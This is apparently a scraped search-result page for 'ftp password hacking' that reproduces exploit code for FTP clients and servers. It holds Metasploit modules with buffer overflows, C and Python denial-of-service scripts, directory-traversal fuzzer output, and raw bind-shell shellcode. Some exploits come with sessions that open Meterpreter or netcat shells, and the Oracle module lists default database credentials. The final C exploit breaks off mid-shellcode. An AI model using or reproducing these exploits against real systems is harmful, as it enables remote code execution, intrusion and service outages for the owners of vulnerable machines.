ftp password hacking
Search result for 'ftp password hacking'
(0.045697927475 seconds)
metasploit/LeapFTP 3.0.1 Stack Buffer Overflow ( windows)
##
# $Id: leapftp_list_reply.rb 11039 2010-11-14 19:03:24Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::FtpServer
include Msf::Exploit::Remote::Egghunter
def initialize(info = {})
super(update_info(info,
'Name' => 'LeapFTP 3.0.1 Stack Buffer Overflow',
'Description' => %q{
This module exploits a buffer overflow in the LeapFTP 3.0.1 client.
This issue is triggered when a file with a long name is downloaded/opened.
},
'Author' =>
[
'corelanc0d3r', # Original bug, completed MSF module
'nullthreat' # Ported PoC to MSF
],
'License' => MSF_LICENSE,
'Version' => "$Revision: 11039 $",
'References' =>
[
[ 'OSVDB', '68640'],
[ 'URL', 'http://www.corelan.be:8800/index.php/2010/10/12/death-of-an-ftp-client/' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'seh',
},
'Payload' =>
{
'Space' => 1000,
'BadChars' => "\x00",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows Universal', { 'Offset' => 528,'Ret' => 0x0042A8A8 } ], # ADD ESP,64, POP EBX, RET :) boy I love pvefindaddr
],
'Privileged' => false,
'DisclosureDate' => 'Oct 12 2010',
'DefaultTarget' => 0))
end
def setup
super
end
def on_client_unknown_command(c,cmd,arg)
c.put("200 OK\r\n")
end
def on_client_command_list(c,arg)
conn = establish_data_connection(c)
if(not conn)
c.put("425 Can't build data connection\r\n")
return
end
print_status(" - Data connection set up")
code = 150
c.put("#{code} Here comes the directory listing.\r\n")
code = 226
c.put("#{code} Directory send ok.\r\n")
# create the egg hunter
badchars = ""
eggoptions =
{
:checksum => true,
:eggtag => "W00T"
}
hunter,egg = generate_egghunter(payload.encoded,badchars,eggoptions)
# Get the file ready
junk = "\x73\x65" #73 65 = jump over filename = "se"
junk << "cret admin passwords.txt"
junk << "_" * ((target['Offset'])-junk.length-hunter.length) # _ = POP EDI
junk << hunter
seh = [target.ret].pack('V')
shellcode = egg + egg + payload.encoded
junk2 = rand_text_alpha((2000 - shellcode.length))
payload = junk + seh + shellcode + junk2
strfile = payload
print_status(" - Sending directory list via data connection")
dirlist = "-rw-rw-r-- 1 1176 1176 1060 Aug 16 22:22 #{strfile}.txt\r\n"
conn.put("total 2\r\n"+dirlist)
conn.close
return
end
end
metasploit/Trellian FTP Client 3.01 PASV Remote Buffer Overflow ( windows)
##
# $Id: trellian_client_pasv.rb 9525 2010-06-15 07:18:08Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::TcpServer
def initialize(info = {})
super(update_info(info,
'Name' => 'Trellian FTP Client 3.01 PASV Remote Buffer Overflow',
'Description' => %q{
This module exploits a buffer overflow in the Trellian 3.01 FTP client that is triggered
through an excessively long PASV message.
},
'Author' =>
[
'zombiefx', # Original exploit author
'dookie' # MSF module author
],
'License' => MSF_LICENSE,
'Version' => '$Revision: 9525 $',
'References' =>
[
[ 'CVE', '2010-1465'],
[ 'OSVDB', '63812'],
[ 'URL', 'http://www.exploit-db.com/exploits/12152' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'seh',
},
'Payload' =>
{
'Space' => 900,
'BadChars' => "\x00\x29\x2c\x2e",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP Universal', { 'Ret' => "\xfd\x21\x40" } ], # 0x004021fd p/p/r in ftp.exe
],
'Privileged' => false,
'DisclosureDate' => 'Apr 11 2010',
'DefaultTarget' => 0))
register_options(
[
OptPort.new('SRVPORT', [ true, "The FTP port to listen on", 21 ]),
], self.class)
end
def on_client_connect(client)
return if ((p = regenerate_payload(client)) == nil)
# Let the client log in
client.get_once
user = "331 Please specify the password.\r\n"
client.put(user)
client.get_once
pass = "230 Login successful.\r\n"
client.put(pass)
# Handle the clients PWD command
client.get_once
pwd = "257 \"/\" is current directory.\r\n"
client.put(pwd)
client.get_once
sploit = "227 Entering Passive Mode ("
sploit << rand_text_alpha_upper(2171)
sploit << make_nops(100)
sploit << payload.encoded
sploit << make_nops(900 - (payload.encoded.length))
sploit << "\xe9\x18\xfc\xff\xff" # Jump back 1000 bytes
sploit << "\xeb\xf9\x90\x90" # Jump back 7 bytes
sploit << [target.ret].pack("A3")
sploit << ")\r\n"
client.put(sploit)
end
end
metasploit/Oracle 9i XDB FTP UNLOCK Overflow (win32) ( windows)
##
# $Id: oracle9i_xdb_ftp_unlock.rb 10559 2010-10-05 23:41:17Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::Ftp
include Msf::Exploit::Remote::Seh
def initialize(info = {})
super(update_info(info,
'Name' => 'Oracle 9i XDB FTP UNLOCK Overflow (win32)',
'Description' => %q{
By passing an overly long token to the UNLOCK command, a
stack based buffer overflow occurs. David Litchfield, has
illustrated multiple vulnerabilities in the Oracle 9i XML
Database (XDB), during a seminar on "Variations in exploit
methods between Linux and Windows" presented at the Blackhat
conference. Oracle9i includes a number of default accounts,
including dbsnmp:dbsmp, scott:tiger, system:manager, and
sys:change_on_install.
},
'Author' => [ 'MC', 'David Litchfield <david@ngssoftware.com>' ],
'License' => MSF_LICENSE,
'Version' => '$Revision: 10559 $',
'Platform' => [ 'win' ],
'References' =>
[
[ 'CVE', '2003-0727'],
[ 'OSVDB', '2449'],
[ 'BID', '8375'],
[ 'URL', 'http://www.blackhat.com/presentations/bh-usa-03/bh-us-03-litchfield-paper.pdf'],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Privileged' => true,
'Payload' =>
{
'Space' => 800,
'BadChars' => "\x00\x20\x0a\x0d",
'StackAdjustment' => -3500,
},
'Targets' =>
[
[
'Oracle 9.2.0.1 Universal',
{
'Ret' => 0x60616d46, # oraclient9.dll (pop/pop/ret)
},
],
],
'DisclosureDate' => 'Aug 18 2003',
'DefaultTarget' => 0))
register_options([
Opt::RPORT(2100),
OptString.new('FTPUSER', [ false, 'The username to authenticate as', 'DBSNMP']),
OptString.new('FTPPASS', [ false, 'The password to authenticate with', 'DBSNMP']),
], self.class )
end
def check
connect
disconnect
if (banner =~ /9\.2\.0\.1\.0/)
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end
def exploit
connect_login
print_status("Trying target #{target.name}...")
buf = rand_text_english(1130, payload_badchars)
seh = generate_seh_payload(target.ret)
buf[322, seh.length] = seh
send_cmd( ['UNLOCK', '/', buf] , false )
handler
disconnect
end
end
pi3ch/HomeFtp 1.1 (NLST) Denial of Service Vulnerability ( windows)
/*
HomeFtp v1.1 Denial of Service
original advisory: http://kapda.ir/advisory-202.html
homeftp_v1.1_xpl.c
----------------------------------------
*/
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netdb.h>
#define POCSTR "USER %s\x0d\x0aPASS %s\x0d\x0aNLST\x0d\x0a"
int header();
int usage(char *filename);
int remote_connect( char* ip, unsigned short port );
int header() {
printf("\n[i] KAPDA - Computer Security Science Researchers Institute\n\n");
printf("[i] Title: \tHomeFTP <= v1.1 Dos Exploit\n");
printf("[i] Discovered by: \tcvh {a] kapda.ir\n");
printf("[i] Exploit by: \tPi3cH {a] kapda.ir\n");
printf("[i] More info: \twww.kapda.ir/page-advisory.html\n\n");
return 0;
}
int usage(char *filename) {
printf("[i] Usage: \t%s HOST PORT USERNAME PASSWORD\n",filename);
printf("[i] Example: \t%s 127.0.0.1 21 anonymous none\n\n",filename);
exit(0);
}
int remote_connect( char* ip, unsigned short port )
{
int s;
struct sockaddr_in remote_addr;
struct hostent* host_addr;
memset ( &remote_addr, 0x0, sizeof ( remote_addr ) );
if ( ( host_addr = gethostbyname ( ip ) ) == NULL )
{
printf ( "[e] Cannot resolve \"%s\"\n", ip );
exit ( 1 );
}
remote_addr.sin_family = AF_INET;
remote_addr.sin_port = htons ( port );
remote_addr.sin_addr = * ( ( struct in_addr * ) host_addr->h_addr );
if ( ( s = socket ( AF_INET, SOCK_STREAM, 0 ) ) < 0 )
{
printf ( "[e] Socket failed!\n" );
exit(1);
}
if ( connect ( s, ( struct sockaddr * ) &remote_addr, sizeof ( struct sockaddr ) ) == -1 )
{
printf ( "[e] Failed connecting!\n" );
exit(1);
}
return ( s );
}
int main(int argc, char *argv[]) {
int s;
char *request;
header();
if( (argc < 5) )
usage(argv[0]);
request = (char *) malloc(1024);
printf("[r] Connecting to remote host\n");
s = remote_connect(argv[1],atoi(argv[2]));
sleep(1);
printf("[r] Creating buffer\n");
sprintf(request,POCSTR,argv[3],argv[4]);
printf("[r] Sending %d bytes of DOS buffer\n",strlen(request));
if ( send ( s, request, strlen (request), 0) <= 0 )
{
printf("[e] Failed to send buffer\n");
close(s);
exit(1);
}
sleep(1);
printf("[s] Exploit Done!\n");
close(s);
free(request);
request = NULL;
return 0;
}
// milw0rm.com [2006-01-14]
His0k4/32bit FTP (PASV) Reply Client Remote Overflow Exploit (meta) ( windows)
#msf > use exploit/windows/ftp/32bitftp_pasv_reply
#msf exploit(32bitftp_pasv) > set PAYLOAD windows/meterpreter/reverse_tcp
#PAYLOAD => windows/meterpreter/reverse_tcp
#msf exploit(32bitftp_pasv) > set LHOST 192.168.1.2
#LHOST => 192.168.1.2
#msf exploit(32bitftp_pasv) > exploit
#[*] Exploit running as background job.
#msf exploit(32bitftp_pasv) >
#[*] Handler binding to LHOST 0.0.0.0
#[*] Started reverse handler
#[*] Server started.
# Victim connecting to the malicious ftp server.
#[*] Transmitting intermediate stager for over-sized stage...(191 bytes)
#[*] Sending stage (2650 bytes)
#[*] Sleeping before handling stage...
#[*] Uploading DLL (75787 bytes)...
#[*] Upload completed.
#[*] Meterpreter session 1 opened (192.168.1.2:4444 -> 192.168.1.3:1137)
##
# $Id: 32bitftp_pasv_reply.rb 6528 2009-05-06 16:00:00Z $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::TcpServer
def initialize(info = {})
super(update_info(info,
'Name' => '32bit FTP (PASV) Reply Client Remote overflow Exploit',
'Description' => %q{
This module exploits a buffer overflow in the 32bit FTP 09.04.24
client that is triggered through an excessively long PASV reply command
},
'Author' => [ 'His0k4 <his0k4.hlm[at]gmail.com>' ],
'License' => MSF_LICENSE,
'Version' => '$Revision: 6528 $',
'References' =>
[
[ 'URL', 'http://www.milw0rm.com/exploits/8611' ],
[ 'BID', '34838' ],
],
'Payload' =>
{
'Space' => 1000,
'BadChars' => "\x00\x0a\x0d\x20",
'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
# Tested against xp SP3 english
[ 'Windows XP SP3 English', { 'Ret' => 0x7c868667 } ], # jmp esp kernel32.dll
[ 'Windows XP SP2 French', { 'Ret' => 0x7C82385D } ], # call esp kernel32.dll
],
'Privileged' => false,
'DisclosureDate' => 'Mai 06 2009',
'DefaultTarget' => 0))
register_options(
[
OptPort.new('SRVPORT', [ true, "The FTP daemon port to listen on", 21 ]),
OptString.new('SRVNAME', [ true, "Welcome to the ... FTP Service", "Test" ]),
], self.class)
end
def on_client_connect(client)
return if ((p = regenerate_payload(client)) == nil)
buffer = "220 Welcome to the " + datastore['SRVNAME'] + " FTP Service.\r\n"
client.put(buffer)
end
def on_client_data(client)
client.get_once
user = "331 Please specify the password.\r\n"
client.put(user)
client.get_once
pass = "230 Login successful.\r\n"
client.put(pass)
client.get_once
pwd = "257 \"/\"\r\n"
client.put(pwd)
client.get_once
type = "200 Switching to ASCII mode.\r\n"
client.put(type)
client.get_once
pasv = "227 Entering Passive Mode ("
pasv << rand_text_numeric(966)
pasv << [target.ret].pack('V')
pasv << make_nops(20)
pasv << payload.encoded
pasv << ")\r\n"
client.put(pasv)
handler(client)
service.close_client(client)
end
end
# milw0rm.com [2009-05-07]
C4SS!0 G0M3S/SpoonFTP 1.2 RETR Denial of Service Vulnerability ( windows)
#!/usr/bin/python
#
#
#[+]Exploit Title: Exploit Denial of Service SpoonFTP 1.2
#[+]Date: 21\03\2011
#[+]Author: C4SS!0 G0M3S
#[+]Software Link: http://www.softpedia.com/progDownload/SpoonFTP-Download-49969.html
#[+]Version: 1.2
#[+]Tested On: WIN-XP SP3 Portuguese Brazil
#[+]CVE: N/A
#
#
# xxx xxx xxxxxxxxxxx xxxxxxxxxxx xxxxxxxxxxx
# xxx xxx xxxxxxxxxxxxx xxxxxxxxxxxxx xxxxxxxxxxxxx
# xxx xxx xxxxxxxxxxxxx xxxxxxxxxxxxx xxxxxxxxxxxxx
# xxxxx xxx xxx xxx xxx xxx xxx xxxxxx
# xxx xxx xxx xxx xxx xxx xxx xxxxxxxx xxxxxxxx xxxxxxxxx
# xxxxxx xxx xxx xxx xxx xxx xxx xx xx xx xx xx
# xxx xxx xxx xxx xxx xxx xxx xxx xx xx xx xxxx xx xxxxx
# xxx xxx xxxxxxxxxxxxx xxxxxxxxxxxxx xxxxxxxxxxxxx xxx xxxxxxxx xx xx xx xx
# xxx xxx xxxxxxxxxxx xxxxxxxxxxx xxxxxxxxxxx xxx xxxxxx xx xx xxxxxxxxx
#
#Criado por C4SS!0 G0M3S
#E-mail Louredo_@hotmail.com
#Site www.exploit-br.org
#
#
from socket import *
import os
import sys
from time import sleep
if os.name == 'nt':
os.system("cls")
os.system("color 4f")
else:
os.system("clear")
def usage():
print """
===================================================
===================================================
==========Exploit Denial of Service SpoonFTP=======
==========Autor C4SS!0 G0M3S=======================
==========E-mail Louredo_@hotmail.com==============
==========Site www.exploit-br.org==================
===================================================
===================================================
"""
if len(sys.argv) !=5:
usage()
print "\t\t[-]Usage: %s <Host> <Port> <User> <Pass>" % sys.argv[0]
print "\t\t[-]Exemple: %s 192.168.1.2 21 admin pass" % sys.argv[0]
sys.exit(0)
host = sys.argv[1]
porta = int(sys.argv[2])
user = sys.argv[3]
pasw = sys.argv[4]
exploit = "/\\" * (6000/3)
usage()
print "\t\t[+]Connecting to Server "+host+"...\n"
sleep(1)
s = socket(AF_INET,SOCK_STREAM)
try:
s.connect((host,porta))
print "\t\t[+]Checking if server is vulnerable\n"
sleep(1)
banner = s.recv(2000)
if banner.find("SpoonFTP V1.2") == -1:
print "\t\t[+]I'm sorry, server is not vulnerable:(\n"
sleep(1)
sys.exit(0x00)
print "\t\t[+]Making Loging On Server\n"
sleep(1)
s.send("USER "+user+"\r\n")
s.recv(200)
s.send("PASS "+pasw+"\r\n")
check = s.recv(2000)
if check.find("230") == -1:
print "\t\t[+]Error on Login, Check Your Username or Password\n"
sleep(1)
sys.exit(0)
print "\t\t[+]Sending Exploit...\n"
sleep(1)
s.send("RETR "+exploit+"\r\n")
s.close()
print "\t\t[+]Submitted Exploit Success\n"
sleep(1)
print "\t\t[+]Checking if the exploit works\n"
sleep(1)
try:
so = socket(AF_INET,SOCK_STREAM)
s.connect((host,porta))
print "\t\t[+]I'm Sorry, But Not Worked Exploit:(\n"
sleep(1)
except:
print "\t\t[+]Congratulations, worked with the Exploit Success:)\n"
sleep(1)
except:
print "\t\t[+]Error connecting to Server\n"
sleep(1)
chr1x/Femitter FTP Server 1.04 Directory Traversal Vulnerability ( windows)
# Exploit Title: Fermitter Server FTP Directory Traversal # Date: Nov 06, 2010 # Author: chr1x # Software Link: http://acritum.com/software/dist/fem-dist.exe # Description: Acritum Femitter HTTP-FTP Server is an easy-to use HTTP and FTP server application for Windows which allows you to use your own computer for sharing gigabytes of files with your friends and colleagues. No need to pay for expensive hosting! No need to spend hours to upload your files to a remote server! # Tested on: Windows XP SP3 (Spanish Edition) root@voltron:/dotdotpwn-v2.1# perl dotdotpwn.pl -h XXX.XXX.X.XX -m ftp -t 300 -f boot.ini -s -q -k timeout ################################################################################# # # # CubilFelino Chatsubo # # Security Research Lab and [(in)Security Dark] Labs # # chr1x.sectester.net chatsubo-labs.blogspot.com # # # # pr0udly present: # # # # ________ __ ________ __ __________ # # \______ \ ____ _/ |_\______ \ ____ _/ |_\______ \__ _ __ ____ # # | | \ / _ \\ __\| | \ / _ \\ __\| ___/\ \/ \/ // \ # # | ` \( <_> )| | | ` \( <_> )| | | | \ /| | \ # # /_______ / \____/ |__| /_______ / \____/ |__| |____| \/\_/ |___| / # # \/ \/ \/ # # - DotDotPwn v2.1 - # # The Traversal Directory Fuzzer # # http://dotdotpwn.sectester.net # # dotdotpwn@sectester.net # # # # by chr1x & nitr0us # ################################################################################# [========== TARGET INFORMATION ==========] [+] Hostname: XXX.XXX.X.XX [+] Protocol: ftp [+] Port: 21 [+] Service detected: 220 Femitter FTP Server ready. [=========== TRAVERSAL ENGINE ===========] [+] Creating Traversal patterns (mix of dots and slashes) [+] Permuting 6 times the traversal patterns (-d switch) [+] Creating the Special Traversal patterns [+] Translating (back)slashes in the filenames [+] Appending 'boot.ini' to the Traversal Strings [+] Including Special sufixes [+] Traversal Engine DONE ! - Total traversal tests created: 1164 [=========== TESTING RESULTS ============] [+] Ready to launch 3.33 traversals per second [+] Press any key to start the testing (You can stop it pressing Ctrl + C) [+] Username: anonymous [+] Password: dot@dot.pwn [+] Connecting to the FTP server at 'XXX.XXX.X.XX' on port 21 [+] FTP Server's Current Path: /C:/Archivos de programa/Femitter/Shared [+] Local Path to download files: /dotdotpwn-v2.1/retrieved_files [+] Press any key to continue [+] Testing ... . [*] GET ../../../boot.ini <- VULNERABLE! [*] GET ../../../../boot.ini <- VULNERABLE! [*] GET ../../../../../boot.ini <- VULNERABLE! [*] GET ../../../../../../boot.ini <- VULNERABLE! [*] GET ..\..\..\boot.ini <- VULNERABLE! [*] GET ..\..\..\..\boot.ini <- VULNERABLE! [*] GET ..\..\..\..\..\boot.ini <- VULNERABLE! [*] GET ..\..\..\..\..\..\boot.ini <- VULNERABLE! . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . [*] GET ..//..//..//boot.ini <- VULNERABLE! [*] GET ..//..//..//..//boot.ini <- VULNERABLE! [*] GET ..//..//..//..//..//boot.ini <- VULNERABLE! [*] GET ..//..//..//..//..//..//boot.ini <- VULNERABLE! [*] GET ..///..///..///boot.ini <- VULNERABLE! [*] GET ..///..///..///..///boot.ini <- VULNERABLE! [*] GET ..///..///..///..///..///boot.ini <- VULNERABLE! [*] GET ..///..///..///..///..///..///boot.ini <- VULNERABLE! [*] GET ..\\..\\..\\boot.ini <- VULNERABLE! [*] GET ..\\..\\..\\..\\boot.ini <- VULNERABLE! [*] GET ..\\..\\..\\..\\..\\boot.ini <- VULNERABLE! [*] GET ..\\..\\..\\..\\..\\..\\boot.ini <- VULNERABLE! [*] GET ..\\\..\\\..\\\boot.ini <- VULNERABLE! [*] GET ..\\\..\\\..\\\..\\\boot.ini <- VULNERABLE! [*] GET ..\\\..\\\..\\\..\\\..\\\boot.ini <- VULNERABLE! [*] GET ..\\\..\\\..\\\..\\\..\\\..\\\boot.ini <- VULNERABLE! . [*] GET ../\../\../\boot.ini <- VULNERABLE! [*] GET ../\../\../\../\boot.ini <- VULNERABLE! [*] GET ../\../\../\../\../\boot.ini <- VULNERABLE! [*] GET ../\../\../\../\../\../\boot.ini <- VULNERABLE! [*] GET ..\/..\/..\/boot.ini <- VULNERABLE! [*] GET ..\/..\/..\/..\/boot.ini <- VULNERABLE! [*] GET ..\/..\/..\/..\/..\/boot.ini <- VULNERABLE! [*] GET ..\/..\/..\/..\/..\/..\/boot.ini <- VULNERABLE! [*] GET ../\/../\/../\/boot.ini <- VULNERABLE! [*] GET ../\/../\/../\/../\/boot.ini <- VULNERABLE! [*] GET ../\/../\/../\/../\/../\/boot.ini <- VULNERABLE! [*] GET ../\/../\/../\/../\/../\/../\/boot.ini <- VULNERABLE! [*] GET ..\/\..\/\..\/\boot.ini <- VULNERABLE! [*] GET ..\/\..\/\..\/\..\/\boot.ini <- VULNERABLE! [*] GET ..\/\..\/\..\/\..\/\..\/\boot.ini <- VULNERABLE! [*] GET ..\/\..\/\..\/\..\/\..\/\..\/\boot.ini <- VULNERABLE! [*] GET \../\../\../boot.ini <- VULNERABLE! [*] GET \../\../\../\../boot.ini <- VULNERABLE! [*] GET \../\../\../\../\../boot.ini <- VULNERABLE! [*] GET \../\../\../\../\../\../boot.ini <- VULNERABLE! . [*] GET /..\/..\/..\boot.ini <- VULNERABLE! [*] GET /..\/..\/..\/..\boot.ini <- VULNERABLE! [*] GET /..\/..\/..\/..\/..\boot.ini <- VULNERABLE! [*] GET /..\/..\/..\/..\/..\/..\boot.ini <- VULNERABLE! . [*] GET ./.././.././../boot.ini <- VULNERABLE! [*] GET ./.././.././.././../boot.ini <- VULNERABLE! [*] GET ./.././.././.././.././../boot.ini <- VULNERABLE! [*] GET ./.././.././.././.././.././../boot.ini <- VULNERABLE! [*] GET .\..\.\..\.\..\boot.ini <- VULNERABLE! [*] GET .\..\.\..\.\..\.\..\boot.ini <- VULNERABLE! [*] GET .\..\.\..\.\..\.\..\.\..\boot.ini <- VULNERABLE! [*] GET .\..\.\..\.\..\.\..\.\..\.\..\boot.ini <- VULNERABLE! [*] GET .//..//.//..//.//..//boot.ini <- VULNERABLE! [*] GET .//..//.//..//.//..//.//..//boot.ini <- VULNERABLE! [*] GET .//..//.//..//.//..//.//..//.//..//boot.ini <- VULNERABLE! [*] GET .//..//.//..//.//..//.//..//.//..//.//..//boot.ini <- VULNERABLE! . [*] GET .\\..\\.\\..\\.\\..\\boot.ini <- VULNERABLE! [*] GET .\\..\\.\\..\\.\\..\\.\\..\\boot.ini <- VULNERABLE! [*] GET .\\..\\.\\..\\.\\..\\.\\..\\.\\..\\boot.ini <- VULNERABLE! [*] GET .\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\boot.ini <- VULNERABLE! . . . . . . . . . . [+] Fuzz testing finished after 6.13 minutes (368 seconds) [+] Total Traversals found: 64 root@voltron:/dotdotpwn-v2.1# cat ./retrieved_files/boot.ini [boot loader] timeout=30 default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS [operating systems] multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional" /noexecute=optin /fastdetect root@voltron:/dotdotpwn-v2.1#
muts/Ability Server 2.34 FTP STOR Buffer Overflow ( windows)
###################################
# Ability Server 2.34 FTP STOR Buffer Overflow #
# Advanced, secure and easy to use FTP Server. #
# 21 Oct 2004 - muts #
###################################
# D:\BO>ability-2.34-ftp-stor.py #
###################################
# D:\data\tools>nc -v 127.0.0.1 4444 #
# localhost [127.0.0.1] 4444 (?) open #
# Microsoft Windows XP [Version 5.1.2600] #
# (C) Copyright 1985-2001 Microsoft Corp. #
# D:\Program Files\abilitywebserver> #
###################################
import ftplib
from ftplib import FTP
import struct
print "\n\n################################"
print "\nAbility Server 2.34 FTP STOR buffer Overflow"
print "\nFound & coded by muts [at] whitehat.co.il"
print "\nFor Educational Purposes Only!\n"
print "###################################"
# Shellcode taken from Sergio Alvarez's "Win32 Stack Buffer Overflow Tutorial"
sc = "\xd9\xee\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x5e\x81\x73\x17\xe0\x66"
sc += "\x1c\xc2\x83\xeb\xfc\xe2\xf4\x1c\x8e\x4a\xc2\xe0\x66\x4f\x97\xb6"
sc += "\x31\x97\xae\xc4\x7e\x97\x87\xdc\xed\x48\xc7\x98\x67\xf6\x49\xaa"
sc += "\x7e\x97\x98\xc0\x67\xf7\x21\xd2\x2f\x97\xf6\x6b\x67\xf2\xf3\x1f"
sc += "\x9a\x2d\x02\x4c\x5e\xfc\xb6\xe7\xa7\xd3\xcf\xe1\xa1\xf7\x30\xdb"
sc += "\x1a\x38\xd6\x95\x87\x97\x98\xc4\x67\xf7\xa4\x6b\x6a\x57\x49\xba"
sc += "\x7a\x1d\x29\x6b\x62\x97\xc3\x08\x8d\x1e\xf3\x20\x39\x42\x9f\xbb"
sc += "\xa4\x14\xc2\xbe\x0c\x2c\x9b\x84\xed\x05\x49\xbb\x6a\x97\x99\xfc"
sc += "\xed\x07\x49\xbb\x6e\x4f\xaa\x6e\x28\x12\x2e\x1f\xb0\x95\x05\x61"
sc += "\x8a\x1c\xc3\xe0\x66\x4b\x94\xb3\xef\xf9\x2a\xc7\x66\x1c\xc2\x70"
sc += "\x67\x1c\xc2\x56\x7f\x04\x25\x44\x7f\x6c\x2b\x05\x2f\x9a\x8b\x44"
sc += "\x7c\x6c\x05\x44\xcb\x32\x2b\x39\x6f\xe9\x6f\x2b\x8b\xe0\xf9\xb7"
sc += "\x35\x2e\x9d\xd3\x54\x1c\x99\x6d\x2d\x3c\x93\x1f\xb1\x95\x1d\x69"
sc += "\xa5\x91\xb7\xf4\x0c\x1b\x9b\xb1\x35\xe3\xf6\x6f\x99\x49\xc6\xb9"
sc += "\xef\x18\x4c\x02\x94\x37\xe5\xb4\x99\x2b\x3d\xb5\x56\x2d\x02\xb0"
sc += "\x36\x4c\x92\xa0\x36\x5c\x92\x1f\x33\x30\x4b\x27\x57\xc7\x91\xb3"
sc += "\x0e\x1e\xc2\xf1\x3a\x95\x22\x8a\x76\x4c\x95\x1f\x33\x38\x91\xb7"
sc += "\x99\x49\xea\xb3\x32\x4b\x3d\xb5\x46\x95\x05\x88\x25\x51\x86\xe0"
sc += "\xef\xff\x45\x1a\x57\xdc\x4f\x9c\x42\xb0\xa8\xf5\x3f\xef\x69\x67"
sc += "\x9c\x9f\x2e\xb4\xa0\x58\xe6\xf0\x22\x7a\x05\xa4\x42\x20\xc3\xe1"
sc += "\xef\x60\xe6\xa8\xef\x60\xe6\xac\xef\x60\xe6\xb0\xeb\x58\xe6\xf0"
sc += "\x32\x4c\x93\xb1\x37\x5d\x93\xa9\x37\x4d\x91\xb1\x99\x69\xc2\x88"
sc += "\x14\xe2\x71\xf6\x99\x49\xc6\x1f\xb6\x95\x24\x1f\x13\x1c\xaa\x4d"
sc += "\xbf\x19\x0c\x1f\x33\x18\x4b\x23\x0c\xe3\x3d\xd6\x99\xcf\x3d\x95"
sc += "\x66\x74\x32\x6a\x62\x43\x3d\xb5\x62\x2d\x19\xb3\x99\xcc\xc2"
# Change RET address if need be.
#buffer = '\x41'*966+struct.pack('<L', 0x7C2FA0F7)+'\x42'*32+sc # RET Windows 2000 Server SP4
buffer = '\x41'*970+struct.pack('<L', 0x7D17D737)+'\x42'*32+sc # RET Windows XP SP2
try:
# Edit the IP, Username and Password.
ftp = FTP('127.0.0.1')
ftp.login('ftp','ftp')
print "\nEvil Buffer sent..."
print "\nSploit will hang now because I couldn\'t figure how to use storelines()."
print "\nTry connecting with netcat to port 4444 on the remote machine."
except:
print "\nCould not Connect to FTP Server."
try:
ftp.transfercmd("STOR " + buffer)
except:
print "\nDone."
# milw0rm.com [2004-10-21]
c0d3r/3Com Ftp Server 2.0 Remote Overflow Exploit ( windows)
/* Email fixed brotha /str0ke */
/*
3Com Ftp Server remote overflow exploit
author : c0d3r "kaveh razavi" c0d3rz_team@yahoo.com
package : 3CDaemon version 2.0 revision 10
advisory : http://secway.org/advisory/ad20041011.txt
company address : 3com.com
it is just a simple PoC tested on winxp sp 1 and may not work on other systems .
just a lame coded software that didnt cost to bother myself to develop
the exploit code . every command has got overflow .
compiled with visual c++ 6 : cl 3com.c
greetz : LorD and NT of Iran Hackers Sabotages , irc.zirc.org #ihs
Jamie of exploitdev (hey man how should I thank u with ur helps?),
sIiiS and vbehzadan of hyper-security , pishi , redhat , araz , simorgh
securiteam , roberto of zone-h , milw0rm (dont u see that my mail address has changed?)
Lamerz :
shervin_kesafat@yahoo.com with a fucked ass ! , konkoor ( will be dead soon !! )
ashiyane digital lamerz team ( abroo har chi iranie bordin khak barsara ! )
/*
/*
D:\projects>3com.exe 127.0.0.1 21 c0d3r secret
-------- 3Com Ftp Server remote exploit by c0d3r --------
[*] building overflow string
[*] attacking host 127.0.0.1
[*] packet size = 673 byte
[*] connected
[*] sending username
[*] sending password
[*] exploit sent successfully try nc 127.0.0.1 4444
D:\projects>nc 127.0.0.1 4444
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\Program Files\3Com\3CDaemon>
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <winsock2.h>
#pragma comment(lib, "ws2_32.lib")
#define address 0x77A7EE6C // jmp esp lays in shell32.dll in my box
#define size 673 // 3 byte command + 235 byte NOP junk +
// 4 byte return address + 430 byte shellc0de
int main (int argc, char *argv[]){
char shellc0de[] = // some NOPS + shellcode bind port 4444
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\xEB\x10\x5A\x4A\x33\xC9\x66"
"\xB9\x7D\x01\x80\x34\x0A\x99\xE2\xFA\xEB\x05\xE8\xEB\xFF\xFF\xFF"
